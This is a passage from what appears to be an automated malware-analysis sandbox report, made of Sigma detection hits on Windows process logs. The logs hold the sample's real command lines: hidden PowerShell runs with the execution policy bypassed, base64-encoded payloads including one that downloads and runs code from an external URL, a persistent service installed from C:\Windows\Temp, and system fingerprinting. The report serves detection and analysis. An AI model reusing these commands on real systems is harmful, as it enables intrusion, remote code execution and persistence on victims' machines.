AHIAaQB2AGUASQBuAGYAbwAgAD0AIAAiAFMAZQByAGkAYQBsACAATgB1AG0AYgBlAHIAOgAgACQAcwBlAHIAaQBhAGwATgB1AG0AYgBlAHIALAAgAE0AbwBkAGUAbAA6ACAAJABtAG8AZABlAGwAIgAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAArAD0AIAAkAGQAcgBpAHYAZQBJAG4AZgBvAAoAfQAKACQAYwBvAG0AYgBpAG4AZQBkAEkAbgBmAG8AIAA9ACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAAtAGoAbwBpAG4AIAAiAGAAcgBgAG4AIgAKACQAYwBwAHUASQBuAGYAbwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAALQBDAGwAYQBzAHMAIABXAGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzAG8AcgAKACQAYwBwAHUARABlAHQAYQBpAGwAcwAgAD0AIAAiAFAAcgBvAGMAZQBzAHMAbwByAEkAZAA6ACAAJAAoACQAYwBwAHUASQBuAGYAbwAuAFAAcgBvAGMAZQBzAHMAbwByAEkAZAApACwAIABOAGEAbQBlADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATgBhAG0AZQApACwAIABNAGEAeABDAGwAbwBjAGsAUwBwAGUAZQBkADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATQBhAHgAQwBsAG8AYwBrAFMAcABlAGUAZAApACwAIABVAG4AaQBxAHUAZQBJAGQAOgAgACQAKAAkAGMAcAB1AEkAbgBmAG8ALgBVAG4AaQBxAHUAZQBJAGQAKQAiAAoAJABhAGwAbABJAG4AZgBvACAAPQAgACIAJABjAG8AbQBiAGkAbgBlAGQASQBuAGYAbwBgAHIAYABuACQAYwBwAHUARABlAHQAYQBpAGwAcwAiAAoAJABtAGQANQAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAE0ARAA1AEMAcgB5AHAAdABvAFMAZQByAHYAaQBjAGUAUAByAG8AdgBpAGQAZQByAAoAJABiAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACQAYQBsAGwASQBuAGYAbwApAAoAJABoAGEAcwBoAEIAeQB0AGUAcwAgAD0AIAAkAG0AZAA1AC4AQwBvAG0AcAB1AHQAZQBIAGEAcwBoACgAJABiAHkAdABlAHMAKQAKACQAaABhAHMAaAAgAD0AIABbAEIAaQB0AEMAbwBuAHYAZQByAHQAZQByAF0AOgA6AFQAbwBTAHQAcgBpAG4AZwAoACQAaABhAHMAaABCAHkAdABlAHMAKQAgAC0AcgBlAHAAbABhAGMAZQAgACcALQAnAAoAIAAgACAAIAByAGUAdAB1AHIAbgAgACQAaABhAHMAaAA7AAoAfQAKAGMAZAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAIgA7AAoAJAB0AGUAcwB0ACAAPQAgAEcAZQB0AC0ASQBkAGUAbgB0AGkAdAB5ADsACgAkAHQAZQBzAHQAIAB8ACAATwB1AHQALQBGAGkAbABlACAALQBGAGkAbABlAFAAYQB0AGgAIAAiAGQAZQB2AGkAYwBlAEkAZAAuAHQAeAB0ACIAIAAtAEUAbgBjAG8AZABpAG4AZwAgAFUAVABGADgA, CommandLine: "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -Execution

Sigma detected: Suspicious Encoded PowerShell Command Line

Source: Process started

Author: Florian Roth (Nextron Systems), Markus Neis, Jonhnathan Ribeiro, Daniil Yugoslavskiy, Anton Kutepov, oscd.community: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoLogo -NoProfile -ExecutionPolicy Bypass -EncodedCommand SQBFAFgAIAAoAFsAVABFAFgAVAAuAEUATgBjAE8ARABpAE4ARwBdADoAOgBVAFQARgA4AC4ARwBlAFQAUwB0AHIASQBOAGcAKAAoAEkAVwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5AGoAYgAyAE4AdgBiAFcAVgAwAGEARwA5AGsAWgBTADUAawBaAFMAOQBtAFkAawBvADEAWgBYAGcAPQAiACkAKQApACkALgBDAE8AbgB0AGUAbgB0ACkAKQA= , CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoLogo -NoProfile -ExecutionPolicy Bypass -EncodedCommand SQBFAFgAIAAoAFsAVABFAFgAVAAuAEUATgBjAE8ARABpAE4ARwBdADoAOgBVAFQARgA4AC4ARwBlAFQAUwB0AHIASQBOAGcAKAAoAEkAVwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5AGoAYgAyAE4AdgBiAFcAVgAwAGEARwA5AGsAWgBTADUAawBaAFMAOQBtAFkAawBvADEAWgBYAGcAPQAiACkAKQApACkALgBDAE8AbgB0AGUAbgB0ACkAKQA= , CommandLine|base64offset|contains: hv)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: PowerSHell.Exe -WINDoWStyLe hIdDen -encOdEdComMANd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBWAEEAQQB1AEEARQBVAEEAVABnAEIAagBBAEUAOABBAFIAQQBCAHAAQQBFADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEARgBRAEEAVQB3AEIAMABBAEgASQBBAFMAUQBCAE8AQQBHAGMAQQBLAEEAQQBvAEEARQBrAEEAVgB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcAbwBBAFkAZwBBAHkAQQBFADQAQQBkAGcAQgBpAEEARgBjAEEAVgBnAEEAdwBBAEcARQBBAFIAdwBBADUAQQBHAHMAQQBXAGcAQgBUAEEARABVAEEAYQB3AEIAYQBBAEYATQBBAE8AUQBCAHQAQQBGAGsAQQBhAHcAQgB2AEEARABFAEEAVwBnAEIAWQBBAEcAY

Sigma detected: Suspicious New Service Creation

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto , CommandLine: SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto , CommandLine|base64offset|contains: H, Image: C:\Windows\System32\sc.exe, NewProcessName: C:\Windows\System32\sc.exe, OriginalFileName: C:\Windows\System32\sc.exe, ParentCommandLine: "cmd.exe" /c sc delete "myRdpService" & SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto & net start "myRdpService", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1676, ParentProcessName: cmd.exe, ProcessCommandLine: SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto , ProcessId: 4004, ProcessName: sc.exe

Sigma detected: Suspicious PowerShell Encoded Command Patterns

Source: Process started

Sigma detected: Suspicious PowerShell Invocations - Specific - PowerShell Module

Source: Event Logs

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro: Data: ContextInfo: Severity = Informational Host Name = ConsoleHost Host Version = 5.1.19041.1151 Host ID = c4e78353-1ffe-4acb-8560-a89dddad473b Host Application = powershell.exe -w hidden -nologo -nop -ep bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBTAGMAcgBlAGUAbgBdADoAOgBBAGwAbABTAGMAcgBlAGUAbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAiACQAKAAkAF8ALgBCAG8AdQBuAGQAcwAuAFcAaQBkAHQAaAApAHgAJAAoACQAXwAuAEIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQAiACAAfQAgAHwAIABPAHUAdAAtAEYAaQBsAGUAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABkAHAAIgA= Engine Version = 5.1.19041.1151 Runspace ID = 4383d5d9-87f4-4cd4-a400-755c6c4d0f70 Pipeline ID = 1 Command Name = Add-Type Command Type = Cmdlet Script Name = Command Path = Sequence Number = 16 User = computer\user Connected User = Shell ID = Microsoft.PowerShell, EventID: 4103, Payload: CommandInvocation(Add-Type): "Add-Type"ParameterBinding(Add-Type): name="AssemblyName"; value="System.Windows.Forms", Source: Microsoft-Windows-PowerShell, UserData: , data0: Severity = Informational Host Name = ConsoleHost Host Version = 5.1.19041.1151 Host ID = c4e78353-1ffe-4acb-8560-a89dddad473b Host Application = powershell.exe -w hidden -nologo -nop -ep bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBTAGMAcgBlAGUAbgBdADoAOgBBAGwAbABTAGMAcgBlAGUAbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAiACQAKAAkAF8ALgBCAG8AdQBuAGQAcwAuAFcAaQBkAHQAaAApAHgAJAAoACQAXwAuAEIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQAiACAAfQAgAHwAIABPAHUAdAAtAEYAaQBsAGUAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABkAHAAIgA= Engine Version = 5.1.19041.1151 Runspace ID = 4383d5d9-87f4-4cd4-a400-755c6c4d0f70 Pipeline ID = 1 Command Name = Add-Type Command Type = Cmdlet Script Name = Command Path = Sequence Number = 16 User = computer\user Connected User = Shell ID = Microsoft.PowerShell, data1: , data2: CommandInvocation(Add-Type): "Add-Type"ParameterBinding(Add-Type): name="AssemblyName"; value="System.Windows.Forms"

Sigma detected: Suspicious PowerShell Parameter Substring

Source: Process started

Author: Florian Roth (Nextron Systems), Daniel Bohannon (idea), Roberto Rodriguez (Fix): Data: Command: powershell.exe -w hidden -nologo -nop -ep bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBTAGMAcgBlAGUAbgBdADoAOgBBAGwAbABTAGMAcgBlAGUAbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAiACQAKAAkAF8ALgBCAG8AdQBuAGQAcwAuAFcAaQBkAHQAaAApAHgAJAAoACQAXwAuAEIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQAiACAAfQAgAHwAIABPAHUAdAAtAEYAaQBsAGUAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABkAHAAIgA=, CommandLine: powershell.exe -w hidden -nologo -nop -ep bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBTAGMAcgBlAGUAbgBdADoAOgBBAGwAbABTAGMAcgBlAGUAbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAiACQAKAAkAF8ALgBCAG8AdQBuAGQAcwAuAFcAaQBkAHQAaAApAHgAJAAoACQAXwAuAEIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQAiACAAfQAgAHwAIABPAHUAdAAtAEYAaQBsAGUAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABkAHAAIgA=, CommandLine|base64offset|contains: , Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: /c powershell.exe -w hidden -nologo -nop -ep bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBTAGMAcgBlAGUAbgBdADoAOgBBAGwAbABTAGMAcgBlAGUAbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAiACQAKAAkAF8ALgBCAG8AdQBuAGQAcwAuAFcAaQBkAHQAaAApAHgAJAAoACQAXwAuAEIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQAiACAAfQAgAHwAIABPAHUAdAAtAEYAaQBsAGUAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABkAHAAIgA=, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5280, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -w hidden -nologo -nop -ep bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBTAGMAcgBlAGUAbgBdADoAOgBBAGwAbABTAGMAcgBlAGUAbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAiACQAKAAkAF8ALgBCAG8AdQBuAGQAcwAuAFcAaQBkAHQAaAApAHgAJAAoACQAXwAuAEIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQAiACAAfQAgAHwAIABPAHUAdAAtAEYAaQBsAGUAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABkAHAAIgA=, ProcessId: 1548, ProcessName: powershell.exe

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoLogo -NoProfile -ExecutionPolicy Bypass -EncodedCommand SQBFAFgAIAAoAFsAVABFAFgAVAAuAEUATgBjAE8ARABpAE4ARwBdADoAOgBVAFQARgA4AC4ARwBlAFQAUwB0AHIASQBOAGcAKAAoAEkAVwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5AGoAYgAyAE4AdgBiAFcAVgAwAGEARwA5AGsAWgBTADUAawBaAFMAOQBtAFkAawBvADEAWgBYAGcAPQAiACkAKQApACkALgBDAE8AbgB0AGUAbgB0ACkAKQA= , CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoLogo -NoProfile -ExecutionPolicy Bypass -EncodedCommand SQBFAFgAIAAoAFsAVABFAFgAVAAuAEUATgBjAE8ARABpAE4ARwBdADoAOgBVAFQARgA4AC4ARwBlAFQAUwB0AHIASQBOAGcAKAAoAEkAVwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5AGoAYgAyAE4AdgBiAFcAVgAwAGEARwA5AGsAWgBTADUAawBaAFMAOQBtAFkAawBvADEAWgBYAGcAPQAiACkAKQApACkALgBDAE8AbgB0AGUAbgB0ACkAKQA= , CommandLine|base64offset|contains: hv)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: PowerSHell.Exe -WINDoWStyLe hIdDen -encOdEdComMANd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBWAEEAQQB1AEEARQBVAEEAVABnAEIAagBBAEUAOABBAFIAQQBCAHAAQQBFADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEARgBRAEEAVQB3AEIAMABBAEgASQBBAFMAUQBCAE8AQQBHAGMAQQBLAEEAQQBvAEEARQBrAEEAVgB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcAbwBBAFkAZwBBAHkAQQBFADQAQQBkAGcAQgBpAEEARgBjAEEAVgBnAEEAdwBBAEcARQBBAFIAdwBBADUAQQBHAHMAQQBXAGcAQgBUAEEARABVAEEAYQB3AEIAYQBBAEYATQBBAE8AUQBCAHQAQQBGAGsAQQBhAHcAQgB2AEEARABFAEEAVwBnAEIAWQBBAEcAY

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Source: Process started

Author: Florian Roth (Nextron Systems), X__Junior (Nextron Systems): Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\5v0ewpyz\5v0ewpyz.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\5v0ewpyz\5v0ewpyz.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoLogo -NoProfile -ExecutionPolicy Bypass -EncodedCommand SQBFAFgAIAAoAFsAVABFAFgAVAAuAEUATgBjAE8ARABpAE4ARwBdADoAOgBVAFQARgA4AC4ARwBlAFQAUwB0AHIASQBOAGcAKAAoAEkAVwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5AGoAYgAyAE4AdgBiAFcAVgAwAGEARwA5AGsAWgBTADUAawBaAFMAOQBtAFkAawBvADEAWgBYAGcAPQAiACkAKQApACkALgBDAE8AbgB0AGUAbgB0ACkAKQA= , ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 6736, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\5v0ewpyz\5v0ewpyz.cmdline", ProcessId: 6960, ProcessName: csc.exe

Sigma detected: Suspicious Execution of Powershell with Base64

Source: Process started

Author: frack113: Data: Command: PowerSHell.Exe -WINDoWStyLe hIdDen -encOdEdComMANd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBWAEEAQQB1AEEARQBVAEEAVABnAEIAagBBAEUAOABBAFIAQQBCAHAAQQBFADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEARgBRAEEAVQB3AEIAMABBAEgASQBBAFMAUQBCAE8AQQBHAGMAQQBLAEEAQQBvAEEARQBrAEEAVgB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcAbwBBAFkAZwBBAHkAQQBFADQAQQBkAGcAQgBpAEEARgBjAEEAVgBnAEEAdwBBAEcARQBBAFIAdwBBADUAQQBHAHMAQQBXAGcAQgBUAEEARABVAEEAYQB3AEIAYQBBAEYATQBBAE8AUQBCAHQAQQBGAGsAQQBhAHcAQgB2AEEARABFAEEAVwBnAEIAWQBBAEcAYwBBAFAAUQBBAGkAQQBDAGsAQQBLAFEAQQBwAEEAQwBrAEEATABnAEIARABBAEUAOABBAGIAZwBCADAAQQBHAFUAQQBiAGcAQgAwAEEAQwBrAEEASwBRAEEAPQAiAA==" , CommandLine: PowerSHell.Exe -WINDoWStyLe hIdDen -encOdEdComMANd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBWAEEAQQB1AEEARQBVAEEAVABnAEIAagBBAEUAOABBAFIAQQBCAHAAQQBFADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEARgBRAEEAVQB3AEIAMABBAEgASQBBAFM